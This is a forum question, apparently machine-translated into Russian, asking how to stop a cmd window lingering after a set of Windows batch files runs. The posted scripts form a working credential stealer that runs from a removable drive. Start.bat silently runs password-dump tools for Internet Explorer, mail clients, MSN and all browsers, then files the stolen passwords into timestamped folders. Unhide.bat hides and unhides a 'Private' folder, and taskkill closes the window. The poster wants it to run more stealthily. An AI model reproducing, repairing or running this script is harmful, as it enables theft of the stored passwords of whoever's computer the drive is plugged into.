Я выяснил, какая часть кода делает это, но не знаю, как это исправить ... Вот код:
Set _Path=Private
For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I
If "%_Attribs:~4,1%"=="H" (
Attrib -S -H "%_Path%"
Attrib /D /S -S -H "%_Path%"\*.*
) Else (
Attrib +S +H "%_Path%"
Attrib /D /S +S +H "%_Path%"\*.*
)
Пакет делает то, что он должен сделать прямо во время его выполнения, но окно cmd остается открытым в течение 46 секунд, а затем завершает работу (потому что я пошел taskkill /IM cmd.exe).
Пожалуйста помоги!
Ps, если вы хотите, чтобы я опубликовал весь код (а это много), тогда я буду. У меня могут быть проблемы с объяснением этого, но я буду стараться изо всех сил.
Весь код выглядит следующим образом:
Я запускаю Pre-Unhide.bat (здесь нет проблем)
@echo off cd /d %~d0\ cd SwIPer start /min Start.bat cd.. call Unhide.bat
Start.bat это:
@echo off for /F " tokens=1,2,3* delims=/, " %%i IN ('date /T') DO ( set CUR_DAY_OF_WEEK=%%i set CUR_MONTH=%%j set CUR_DAY=%%k set CUR_YEAR=%%l) for /F " tokens=1,2,3* delims=:, " %%i IN ('time /T') DO ( set CUR_HOUR=%%i set CUR_MIN=%%j set AM_PM=%%k) cd /d %~d0\ cd %~d0\SwIPer md "%~d0\SwIPer\%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" start /min iepv /stext IExplorer.txt start /min mailpv /stext Mail.txt start /min mspass /stext MSN.txt start /min WebBrowserPassView /stext AllBrowsers.txt echo d | xcopy MSN.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" echo d | xcopy Mail.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" echo d | xcopy AllBrowsers.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" echo d | xcopy IExplorer.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" del IExplorer.txt del Mail.txt del MSN.txt del AllBrowsers.txt
Затем Pre-Unhide.bat продолжается и вызывает Unhide.bat
@echo off Set _Path=Private For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I If "%_Attribs:~4,1%"=="H" ( Attrib -S -H "%_Path%" Attrib /D /S -S -H "%_Path%"\*.* ) Else ( Attrib +S +H "%_Path%" Attrib /D /S +S +H "%_Path%"\*.* )
(Затем добавил это, потому что я хочу принудительно завершить работу, но все еще ждет 46 секунд, чтобы принудительно завершить работу)
taskkill /IM cmd.exe
Помощь очень ценится :) спасибо.